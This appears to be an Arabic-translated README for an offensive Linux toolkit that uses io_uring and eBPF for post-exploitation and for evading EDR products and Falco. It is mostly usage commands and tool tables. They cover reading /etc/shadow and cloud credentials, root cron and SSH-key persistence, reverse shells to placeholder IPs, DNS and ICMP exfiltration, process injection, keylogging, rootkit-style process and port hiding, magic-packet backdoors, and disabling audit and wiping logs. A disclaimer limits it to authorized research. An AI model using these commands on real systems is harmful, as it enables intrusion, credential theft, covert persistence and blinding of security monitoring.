
مجموعة أدوات بحثية للاستغلال بعد الاختراق والتهرب في نظام لينكس.
مجموعة أدوات بحثية للاستغلال بعد الاختراق والتهرب لنظام لينكس، مبنية حول io_uring و eBPF. لا يوجد liburing، ولا أطر عمل، واستدعاءات نظام خام في كل مكان.
المزيد من الأدوات قريبًا. نرحب بطلبات السحب (PRs). 🇧🇷
انضم إلى باحثي الروت كيت (Rootkit Researchers)
للبحث المصرح به ومهام الفريق الأحمر فقط. لا تقم بتشغيل هذا على أنظمة لا تملكها.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## المتطلبات
**سلسلة الأدوات**
| الأداة | مطلوب من أجل |
|---|---|
| `gcc` | جميع برمجيات مساحة المستخدم |
| `clang` | برامج جانب BPF في `ebpf/*.bpf.c` |
| `make` | نظام البناء |
**الرؤوس والمكتبات**
| الحزمة | مطلوب من أجل |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>` و `<linux/io_uring.h>` ورؤوس النواة ذات الصلة |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` وما شابه ذلك المستخدمة في برامج `ebpf/` |
| `bpftool` | توليد `vmlinux.h` عبر `make vmlinux` داخل `ebpf/` |
على Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
إصدارات النواة (Kernel)
الصلاحيات (Capabilities)
يجب تمكين BTF في النواة (CONFIG_DEBUG_INFO_BTF=y) لتشغيل make vmlinux لبرامج ebpf/.
على التوزيعات ذات إصدارات libc-dev القديمة (مثل Ubuntu 22.04 إلخ) قد تحتاج إلى #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. تم التعامل مع ذلك بالفعل في هذا المستودع.
يحتوي edrs/ على Makefile فرعي خاص به مع حوالي 75 ملفًا ثنائيًا مقسمة حسب الصلاحية:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
انظر [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) للحصول على التفصيل الكامل.
## تغطية تجاوز io_uring
تمر طلبات io_uring SQE عبر قائمة عمل النواة. `io_uring_enter(2)` لا يستدعي أبدًا من خلال `sys_call_table`، ولا يطلق أبدًا نقاط التتبع `sys_enter_*`، ولا يصيب أبدًا التصحيح المباشر على `native_sys_call`. وهذا بمفرده يقتل فئة كبيرة من خطافات EDR دون لمس أي شيء.
ما يتجاوزه io_uring بمفرده:
| نقطة الخطاف | ملاحظة |
|---|---|
| استبدال مؤشر `sys_call_table` | لا يمر io_uring أبدًا عبر جدول استدعاءات النظام |
| تصحيح مباشر على `native_sys_call` / `compat_sys_call` | نفس السبب |
| نقاط التتبع `sys_enter_*` | مسار قائمة العمل، لا تطلق أي نقطة تتبع |
ما لا يتجاوزه io_uring بمفرده (يحتاج إلى أداة نشطة):
| نقطة الخطاف | الأداة | ما تفعله الأداة |
|---|---|---|
| kprobes على `vfs_read`, `security_file_open`, إلخ. | `ftrace_enum` | يزيل خطافات kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | يفصل رابط BPF |
| تدقيق لينكس | `audit_kill` | يعطل auditd عبر NETLINK_AUDIT |
| تصحيحات LD_PRELOAD / PLT-GOT | `plt_unhook` | يزيل خطافات مساحة المستخدم |
| netfilter OUTPUT / conntrack | `af_packet_shell` | يستخدم AF_PACKET في الطبقة 2، يتجاوز netfilter |
| خطافات `inet_stream_connect` | `udp_shell` | يستخدم UDP، لا يستدعي أبدًا مسار اتصال TCP |
## io_uring/
`iouring_utils.h` يتعامل مع إعداد الحلقة بدون liburing.
| الملف الثنائي | ما يفعله |
|---|---|
| `file_read` | سلسلة OPENAT+READ+CLOSE عبر io_uring، لا يوجد حدث sys_enter_read |
| `file_write` | سلسلة OPENAT+WRITE+CLOSE |
| `file_append` | مثل file_write ولكن مع O_APPEND، الإزاحة -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV في حلقة واحدة |
| `net_reverse_shell` | شل عكسي عبر io_uring CONNECT |
| `multifile_read` | حتى 64 ملفًا في دفعة SQE واحدة |
| `memfd_exec` | دفق ELF عبر stdin إلى memfd، execve عبر /proc/self/fd |
| `proc_inject` | حقن JIT عبر /proc/PID/mem؛ حقن ptrace (علامة --ptrace) |
| `pipe_splice` | SPLICE من نواة إلى نواة، خطافات مساحة المستخدم لا ترى البايتات أبدًا |
| `inotify_bypass_watch` | قراءة io_uring لا تثير IN_ACCESS/IN_OPEN |
| `dns_exfil` | ترميز البيانات بالنظام الست عشري كتسميات استعلام DNS عبر io_uring SENDMSG |
| `af_packet_send` | إيثرنت خام عبر AF_PACKET (IORING_OP_SOCKET، يتجاوز مسار inet) |
| `xdp_socket_send` | إطار خام عبر AF_XDP + حلقة UMEM، يتجاوز netfilter بالكامل |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
معظم الأدوات تتطلب CAP_BPF. env_exfil يعمل بدون صلاحيات. icmp_trigger يتطلب CAP_NET_RAW بدلاً من CAP_BPF.
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
يتطلب clang + libbpf + vmlinux.h. قم بتشغيل `make vmlinux` داخل `ebpf/` لتوليد من BTF النواة الجاري.
| الملف | الوظيفة |
|---|---|
| `exec.bpf.c` | نقطة تتبع على sys_enter_execve |
| `fentry_open.bpf.c` | نقطة تتبع على sys_enter_openat |
| `creds.bpf.c` | تتبع openat+read على مسارات الاعتماديات |
| `keylog.bpf.c` | نقطة تتبع لأحداث الإدخال، التقاط رمز المفتاح الخام |
| `net.bpf.c` | تسجيل sys_enter_connect |
| `net_hide.bpf.c` | إخفاء المنافذ من /proc/net/tcp و /proc/net/udp |
| `proc_hide.bpf.c` | إخفاء معرفات العمليات من مخرجات getdents64 |
| `tty_sniff.bpf.c` | التقاط عمليات الكتابة والقراءة stdin/stdout/stderr |
| `skf_c2_runner.c` | C2 عبر ICMP باستخدام مرشح مأخذ BPF الكلاسيكي |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | مشغل XDP عند حزمة UDP سحرية |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falco bypass)
يستهدف مجموعة القواعد الافتراضية لـ Falco (برنامج تشغيل `modern_ebpf`، 25 قاعدة). قم بتشغيل `edrs/edr_recon` أولاً.
محور التجاوز أ: منع الحدث من الوصول إلى Falco (يتجاوز io_uring `sys_enter_*`، ويقوم ringbuf drain بإسقاط الأحداث بصمت).
محور التجاوز ب: يصل الحدث إلى Falco لكن شرط القاعدة لا يتطابق (انتحال proc.name، تحويل المسار، أعلام بديلة).
| الأداة | المحور | قواعد Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | الكل |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | الكل |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | الكل |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | الكل 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
افتح طلب سحب (PR). أدوات أحادية الغرض، استدعاءات نظام خام، لا تبعيات جديدة.
هذا المشروع مخصص حصرًا للبحث الأمني، اختبار الاختراق المأذون، مسابقات CTF، وتطوير أدوات الدفاع. جميع التقنيات الموضحة هنا موثقة في الأبحاث الأمنية العامة ووثائق النواة.
لا تستخدم هذه المجموعة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. قد ينتهك الاستخدام غير المصرح به قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وتوجيه الاتحاد الأوروبي بشأن الهجمات على أنظمة المعلومات، والقوانين المماثلة في منطقتك.
يتخلى المؤلفون عن أي مسؤولية تجاه سوء الاستخدام. باستخدام هذا البرنامج، فإنك توافق على أنك المسؤول الوحيد عن الامتثال للقوانين السارية.
| الحد الأدنى | ما يوفره |
|---|
| 5.4 | قاعدة io_uring (IORING_FEAT_SINGLE_MMAP، تكرار خريطة BPF) |
| 5.6 | IORING_OP_OPENAT، IORING_OP_STATX، pidfd_getfd (pidfd_steal) |
| 5.8 | انقسام CAP_BPF + CAP_PERFMON (يحل محل CAP_SYS_ADMIN لـ BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send، dns_exfil، xdp_socket_send، bpf_kprobe_bypass) |
| الصلاحية | الأدوات التي تتطلبها |
|---|
CAP_BPF (أو CAP_SYS_ADMIN قبل الإصدار 5.8) | جميع أدوات bpf/، ومحملات ebpf/ |
CAP_PERFMON | برامج ebpf/ لنقاط التتبع (tracepoint) و kprobe |
CAP_NET_RAW | icmp_tunnel، af_packet_shell، skf_c2_runner، icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send، netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| الأمر | يبني |
|---|
make all | كل شيء |
make uring | io_uring/ فقط |
make bpf | أدوات مساحة المستخدم لـ bpf/ |
make ebpf | برامج جانب BPF (يحتاج إلى clang + libbpf) |
make edrs | جميع ملفات edrs/ الثنائية |
make techniques | أدوات تجاوز Falco |
make clean | إزالة جميع الملفات الثنائية |
| البرنامج | الوصف |
|---|
map_recon | سرد جميع خرائط BPF المحملة |
map_dumper | تفريغ محتويات الخريطة بواسطة المعرف |
map_write | تحديث إدخالات الخريطة بواسطة المعرف |
map_poison | تصفير إدخالات interesting_sys الخاصة بـ Falco حول حمولة |
prog_recon | سرد برامج BPF: النوع، الاسم، عدد الخرائط |
pid_allowlist | إدراج معرف العملية (PID) في خريطة القائمة البيضاء لـ EDR |
edr_fin | تسجيل خرائط/برامج BPF المحملة مقابل إرشادات EDR معروفة |
lsm_check | الكشف عن روابط LSM النشطة لـ BPF واختبار ما إذا كانت كتابات الخريطة محظورة |
bpf_persist | تثبيت/استرجاع/إلغاء تثبيت الخرائط والبرامج على bpffs |
map_snapshot | حفظ واستعادة محتويات الخريطة إلى ملف ثنائي |
env_exfil | قراءة /proc/*/environ للبحث عن الأسرار |
bpf_link_detach | تعداد وفصل روابط BPF (يزيل روابط LSM) |
link_update | إعادة توجيه رابط BPF إلى برنامج لا يفعل شيئًا (تبقى الخطاف مرئية، لا تنفذ شيئًا) |
map_freeze | تجميد خريطة BPF للقراءة فقط عبر BPF_MAP_FREEZE (تعيد الكتابات -EPERM) |
icmp_trigger | باب خلفي ICMP لحزمة سحرية؛ يطلق شل عكسي عبر ترحيل socketpair؛ يتنكر كـ kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| الثنائي | جذر | التقنية |
|---|
edr_recon | نعم | كاشف EDR لـ 12 بائعًا: العمليات، القطع الأثرية، الوحدات، BPF، kprobes |
bpf_prog_recon | نعم | تعداد برامج BPF المحملة، الخرائط، و kprobes |
bpf_map_wipe | نعم | مسح إدخالات خريطة BPF |
bpf_detach_all | نعم | فصل جميع روابط BPF |
tetragon_blind | نعم | مسح، تجميد، إذابة، قتل أو تعمية عمليات Tetragon/Falco |
ftrace_enum | نعم | تعداد ومسح خطافات kprobe/ftrace |
lkm_unload | نعم | إلغاء تحميل وحدات النواة |
lkm_inline_detect | نعم | كشف خطافات النواة المضمنة |
perf_bpf_kill | نعم | تعداد وقتل برامج BPF لأحداث أداء Falco |
module_recon | نعم | تعداد وحدات النواة |
cgroup_freeze | نعم | تجميد/إذابة العملية عبر cgroup v2 |
oom_cage | نعم | تعيين oom_score_adj للذات أو الهدف |
sysctl_blind | نعم | قراءة/كتابة sysctls ذات الصلة بالأمان |
audit_kill | نعم | تعطيل/تقييد تدقيق Linux عبر NETLINK_AUDIT |
inotify_exhaust | نعم | استهلاك جميع مراقبات inotify |
netfilter_flush | نعم | تفريغ سلاسل netfilter |
dmesg_wipe | نعم | مسح مخزن الحلقة للنواة |
ld_so_preload | نعم | التلاعب بـ /etc/ld.so.preload |
proc_hide | نعم | إخفاء /proc/PID عبر bind-mount |
mount_over | نعم | bind-mount فوق مسارات عشوائية |
log_wipe | نعم | اقتطاع ملفات السجلات وتاريخ الصدفة |
elf_infect | نعم | حقن طفيلي من PT_NOTE إلى PT_LOAD |
proc_mem_inject | نعم | كتابة عبر pwrite إلى /proc/PID/mem، بدون إرفاق ptrace |
af_packet_shell | نعم | C2 إيثرنت خام يتجاوز netfilter OUTPUT |
icmp_tunnel | نعم | تسريب عبر حمولة طلب صدى ICMP |
event_flood | نعم | إغراق بالأحداث حول الحمولة لإشباع المراقب |
livepatch_bypass | نعم | io_uring يتجاوز خطافات livepatch على موزع استدعاءات النظام |
livepatch_stack_blind | نعم | تعطيل livepatch + خطاف BPF kprobe + مكدس خطاف netfilter؛ إلغاء تحميل الوحدة عبر انتحال comm |
lsm_authlink_blind | نعم | تعطيل تدفقات LSM auth-link، تجميد أو قتل وكيل المصادقة، الكتابة عبر تبديل inode |
lsm_callback_bypass | نعم | تجاوز استدعاءات LSM عبر pidfd_getfd, process_vm_writev, إرفاق perf+BPF, netns جديد |
bpf_fim_blind | نعم | تجميد مستشعر BPF FIM، مسح إدخالات خريطة المخزن الحلقي، إغراق المخزن الحلقي |
syscall_dispatch_bypass | نعم | عمليات io_uring للملف/الشبكة تتجاوز kprobes على توزيع استدعاءات النظام و livepatch do_syscall_64 |
bpf_kprobe_bypass | نعم | عمليات io_uring للملف/الشبكة/التنفيذ تتجاوز أهداف kprobe _x64_sys* |
ptrace_inject_so | نعم | تحميل .so في عملية حية عبر ptrace + dlopen |
uring_stealth | لا | عمليات ملف/شبكة عبر io_uring، بدون أحداث sys_enter_* |
openat2_bypass | لا | استدعاءات نظام بديلة (openat2, copy_file_range) |
ptrace_selfguard | لا | منع ptrace خارجي عبر عملية حارس |
plt_unhook | لا | كشف وتجاوز خطافات PLT-GOT عبر dlmopen |
fexecve_drop | لا | ELF إلى memfd، تنفيذ عبر /proc/self/fd |
memfd_loader | لا | تحميل .so عبر memfd، استدعاء المنشئ |
memfd_userexec | لا | ELF من stdin إلى memfd، تنفيذ عبر /proc/self/fd |
hollow_proc | لا | تجويف العملية مع اسم خادع في ps |
argv_spoof | لا | إعادة تسمية comm عبر prctl(PR_SET_NAME) وكتابة فوق argv[0] |
clone_netns | لا | تنفيذ مساحة اسم شبكة غير مميزة |
ns_exec | لا | إلغاء مشاركة مساحات أسماء المستخدم/معرف العملية/التركيب |
splice_c2 | لا | C2 TCP باستخدام splice(2) لنقل البيانات؛ خطافات send/recv لا تشتعل أبدًا |
abstract_sock_c2 | لا | C2 عبر مقبس Unix مجرد |
udp_shell | لا | صدفة عكسية UDP، تتجاوز inet_stream_connect |
tls_shell | لا | صدفة عكسية خلف ClientHello TLS مزيف |
dns_exfil_raw | لا | ترميز البيانات بصيغة hex كتسميات استعلام DNS |
pidfd_steal | لا | سرقة واصفات الملفات المفتوحة من عمليات أخرى عبر pidfd_getfd |
vma_hide | لا | دورة من RWX إلى PROT_NONE، MADV_DONTDUMP، إعادة تسمية VMA |
coredump_block | لا | منع تفريغات النواة عبر filter/dumpable/rlimit |
seccomp_notify | لا | اعتراض استدعاءات النظام عبر SECCOMP_USER_NOTIF |
ipc_covert | لا | C2 عبر قائمة انتظار رسائل POSIX |
shared_mem_c2 | لا | C2 عبر ذاكرة مشتركة POSIX، بدون حركة مرور شبكة |
pipe_exfil | لا | تسريب عبر splice(2)، خطافات LD_PRELOAD عمياء |
proc_fd_scan | لا | مسح روابط رمزية /proc/PID/fd لمسارات حساسة |
proc_vm_inject | لا | process_vm_writev، بدون فتح /proc/PID/fd |
self_delete | لا | حذف البرنامج الثنائي الخاص بالذات من القرص أثناء التشغيل |
time_stomp | لا | استنساخ/تصفير/تعيين atime+mtime |
userland_persist | لا | bashrc/crontab/autostart/authorized_keys |
env_scrape | لا | قراءة /proc/*/environ للأسرار ومقابس SSH |
anon_shellcode | لا | شيل كود في MAP_ANONYMOUS، بدون ملف، بدون execve |
ld_preload_inject | لا | إسقاط .so، الحقن عبر LD_PRELOAD |
ssh_agent_hijack | لا | التحدث ببروتوكول الوكيل إلى مقبس تم أسره |
fanotify_bypass | لا | memfd/anon-mmap/devshm لتجنب علامات fanotify |
ringbuf_flood | لا | إشباع مخزن BPF الحلقي لإسقاط الأحداث |
log_evasion | لا | عمليات ملف io_uring وصدفة TCP باستدعاءات نظام خام، بدون أغلفة libc |
syscalltable_bypass | لا | io_uring يتجاوز خطافات مؤشر sys_call_table |
uring_recon_unpriv | لا | بيانات الاعتماد، المفاتيح، الاتصالات عبر قراءة io_uring |
fd_steal_read | لا | سرقة واصفات ملفات عبر pidfd_getfd، القراءة بدون open() خاص |
mmap_read | لا | قراءة الملفات عبر mmap، بدون استدعاء نظام read() |
scm_rights_exfil | لا | تمرير واصف ملف عبر SCM_RIGHTS، القراءة بدون open() خاص |
splice_read | لا | القراءة عبر splice(2)، بدون مخزن في مساحة المستخدم |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| Rule | Bypass | Tool |
|---|
| 1 Directory traversal monitored file read | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 Read sensitive file untrusted | io_uring or prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 Run shell untrusted | python3/perl instead of sh | rule_evade unusual-shell |
| 6 Terminal shell in container | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 Contact K8S API Server | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C binary, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 Search Private Keys | open+read in C, no grep/find | bypass_file_rules grep-bypass |
| 10 Clear Log Activities | ftruncate without O_TRUNC | bypass_file_rules log-clear |
| 11 Remove Bulk Data | write loop, no shred/mkfs | bypass_file_rules wipe |
| 15 Redirect STDOUT/STDIN to Network | fcntl F_DUPFD instead of dup2 | bypass_proc_rules reverse-shell |
| 18 Detect release_agent Escape | io_uring OPENAT+WRITE to release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 PTRACE attached to process | /proc/PID/mem or process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE anti-debug attempt | TracerPid check via /proc/self/status | bypass_proc_rules anti-debug |
| 22 Execution from /dev/shm | exec from /run/user/uid/ instead | bypass_proc_rules run-safe |
| 25 Fileless execution via memfd_create | shellcode via mmap, no execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| all | drain ringbuf or remove scap.ko | ringbuf_overflow, kmod_unload |